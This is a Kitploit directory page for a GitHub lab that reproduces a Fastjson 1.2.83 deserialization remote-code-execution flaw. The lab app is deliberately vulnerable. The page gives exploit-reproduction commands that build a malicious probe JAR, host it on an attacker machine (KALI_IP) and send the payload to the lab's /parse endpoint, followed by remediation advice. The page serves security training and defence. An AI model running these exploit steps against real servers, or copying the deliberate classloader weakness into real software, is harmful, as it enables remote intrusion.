Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
fastjson-rce-lab — Fastjson 1.2.83 RCE 靶场环境 (CVE-2026-16723) | Kitploit
Outils/GitHubGitHub/why-success/fastjson-rce-lab
Vulnerability AnalysisWeb Application ExploitationCTFLearning & EducationLabs & Practice
GitHubwhy-success/fastjson-rce-lab

fastjson-rce-lab

Fastjson 1.2.83 RCE 靶场环境 (CVE-2026-16723)

Voir le dépôt
3il y a 23 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Environnement de laboratoire RCE Fastjson 1.2.83 (CVE-2026-16723)

Avertissement : ce laboratoire est destiné uniquement à la recherche en sécurité, aux démonstrations pédagogiques et au renforcement des défenses dans un environnement autorisé. Tester des cibles non autorisées peut être illégal ; l'utilisateur assume l'entière responsabilité des conséquences de son usage.

Présentation de la vulnérabilité

ÉlémentDescription
CVECVE-2026-16723 (CVSS 9.0)
Versions affectéesFastjson 1.2.68 ~ 1.2.83
Type de vulnérabilitéExécution de code à distance (RCE) par désérialisation
Caractéristique cléGadget-free (ne dépend d'aucune bibliothèque tierce)
Condition pour un RCE completJDK 8 + Spring Boot Fat-JAR + SafeMode désactivé

Description de l'environnement du laboratoire

  • Fastjson 1.2.83
    • SafeMode désactivé (état par défaut)
  • Packaging Spring Boot fat-JAR (inclut LaunchedURLClassLoader, composant nécessaire à la chaîne d'exploitation)
  • Ligne critique corrigée : ParseController bascule le ClassLoader du thread vers LaunchedURLClassLoader avant d'appeler JSON.parse() (Thread.currentThread().setContextClassLoader(ParserConfig.class.getClassLoader())), condition préalable nécessaire pour que le chemin de détection @JSONType puisse charger des classes à distance
  • Fournit deux points de terminaison d'analyse : /parse (JSON.parse) et /parseObject (JSON.parseObject)

Prérequis

  • JDK 8 (obligatoire pour un RCE complet ; JDK 9+ ne permet que le SSRF, pas un RCE complet)
  • Système d'exploitation : Windows / Linux / UOS / macOS
  • Mémoire : 256 Mo libres minimum

Compilation

Compilation du fat-JAR depuis les sources (nécessite JDK 8 + Maven) :

root@kitploit:~
git clone https://github.com/why-success/fastjson-rce-lab.git
cd fastjson-rce-lab
mvn clean package -DskipTests

L'artefact de compilation se trouve dans target/fastjson-rce-lab.jar.

Si Maven n'est pas installé, vous pouvez utiliser le Maven Wrapper fourni avec le projet (configurer mvnw au préalable).

Démarrage rapide

Windows

root@kitploit:~
# 双击 start.bat
# 或命令行
java -Xmx256m -Xms64m -XX:MaxMetaspaceSize=128m -XX:+UseSerialGC -jar target\fastjson-rce-lab.jar --server.port=18080

Linux

root@kitploit:~
chmod +x start.sh
./start.sh

# 或手动启动
ulimit -n 65536
java -Xmx256m -Xms64m -XX:MaxMetaspaceSize=128m -XX:+UseSerialGC -jar target/fastjson-rce-lab.jar --server.port=18080

À propos de --server.port=18080 : des variables d'environnement telles que SERVER__PORT peuvent écraser la configuration du port définie dans application.properties ; spécifier le port via un argument de ligne de commande garantit son exactitude (les arguments de ligne de commande ont la priorité la plus élevée).

À propos des paramètres JVM : -Xmx256m -XX:+UseSerialGC permettent un fonctionnement correct sur les machines virtuelles à faible mémoire (ex. Kali 2-4 Go), en évitant un OOM lors de l'initialisation de la JVM. Si la machine dispose de suffisamment de mémoire, ils peuvent être retirés.

Vérification du démarrage

root@kitploit:~
curl http://127.0.0.1:18080/status

Réponse attendue :

root@kitploit:~
{
  "fastjsonVersion": "1.2.83",
  "safeMode": false,
  "autoTypeSupport": false,
  "vulnerable": true,
  "javaVersion": "1.8.0_xxx"
}

safeMode: false et vulnerable: true indiquent un état vulnérable.

Description des points de terminaison

Principe de la vulnérabilité

root@kitploit:~
1. 攻击者发送特制 JSON(@type 指向 jar:http 资源路径)
2. Fastjson checkAutoType() 将 typeName 转为资源路径 "typeName.replace('.', '/') + .class" 做探测
3. getResourceAsStream() 触发 LaunchedURLClassLoader → 发起 HTTP 请求拉取远程 JAR
4. ASM 扫描字节码,发现 @JSONType 注解 → 视为信任信号
5. 跳过危险基类检查 → loadClass() → defineClass()
6. 触发 <clinit> 静态初始化块 → RCE

Code clé dans le laboratoire

root@kitploit:~
// ParseController.java — /parse 端点
@PostMapping("/parse")
public Map<String, Object> parse(@RequestBody String body) {
    // ⚠️ 这一行是关键:切换到 LaunchedURLClassLoader
    Thread.currentThread().setContextClassLoader(ParserConfig.class.getClassLoader());
    Object obj = JSON.parse(body);
    // ...
}

Sans cette ligne setContextClassLoader, Fastjson utilise l'AppClassLoader système par défaut et ne peut pas charger de classes distantes via le protocole jar:http://.

Reproduction de l'exploitation

Étape 1 : Obtenir l'outil PoC

root@kitploit:~
git clone https://github.com/0x7eTeam/fastjson-1.2.83-rce.git
cd fastjson-1.2.83-rce

Étape 2 : Modifier GenProbe.java (critique)

Le poc/GenProbe.java fourni dans le dépôt présentait deux problèmes de compatibilité, désormais corrigés :

  1. /bin/bash -c codé en dur → remplacé par la version générique Runtime.exec(String) (fonctionne sous Windows comme sous Linux)
  2. Format de commande multiplateforme : sur un laboratoire Windows, utiliser "cmd /c xxx" ; sur un laboratoire Linux, utiliser directement "touch /tmp/pwned" ou "bash -c xxx"

Étape 3 : Générer probe.jar et l'héberger

La procédure d'attaque complète figure dans 靶场测试完整指南.md (dans le même répertoire) et comprend :

  • La procédure d'attaque complète en sept étapes
  • Un tableau de référence rapide des commandes par plateforme
  • 6 erreurs courantes et leurs méthodes de résolution

Vérification rapide (exemple de laboratoire Windows)

root@kitploit:~
# 在攻击机(或能编译 Java 的机器)上
cd fastjson-1.2.83-rce
javac -encoding UTF-8 -cp "poc/lib/*" -d poc/classes poc/GenProbe.java
java -cp "poc/classes;poc/lib/asm-9.6.jar;poc/lib/fastjson-1.2.83.jar" GenProbe KALI_IP 19090 "cmd /c calc"

# 将 poc/www/probe 拷到 Kali
# Kali 上启动 HTTP 托管
cd poc/www && python3 -m http.server 19090

# 重启靶场 → Kali 新终端打 exp
python3 poc/exp.py -u http://靶场IP:18080/parse -poc http://KALI_IP:19090/probe

Mesures de correction

Correction d'urgence : activer SafeMode

root@kitploit:~
# JVM 启动参数
-Dfastjson.parser.safeMode=true
root@kitploit:~
// 代码配置
ParserConfig.getGlobalInstance().setSafeMode(true);

Correction à long terme : migrer vers Fastjson 2.x

root@kitploit:~
<dependency>
    <groupId>com.alibaba.fastjson2</groupId>
    <artifactId>fastjson2</artifactId>
    <version>2.x</version>
</dependency>

Fastjson2 n'est pas affecté par cette vulnérabilité.

Autres mesures

  • Utiliser la version com.alibaba:fastjson:1.2.83_noneautotype
  • Bloquer le trafic HTTP sortant du serveur d'application
  • Auditer toutes les instances de dépendances Fastjson 1.x

Références techniques

  • Divulgation par Kirill Firsov (@k_firsov) : https://x.com/k_firsov/status/2078872293745570032
  • Projet PoC : https://github.com/0x7eTeam/fastjson-1.2.83-rce
  • Avis de sécurité Alibaba (2026-07-21)
  • Avis de sécurité Tencent Cloud (2026-07-20)
Télécharger l’outil
MéthodeCheminDescription
GET/Page d'accueil du laboratoire (HTML)
GET/statusÉtat de la configuration Fastjson (JSON)
POST/parseJSON.parse(body) — point de terminaison principal de déclenchement de la vulnérabilité
POST/parseObjectJSON.parseObject(body) — point de terminaison de secours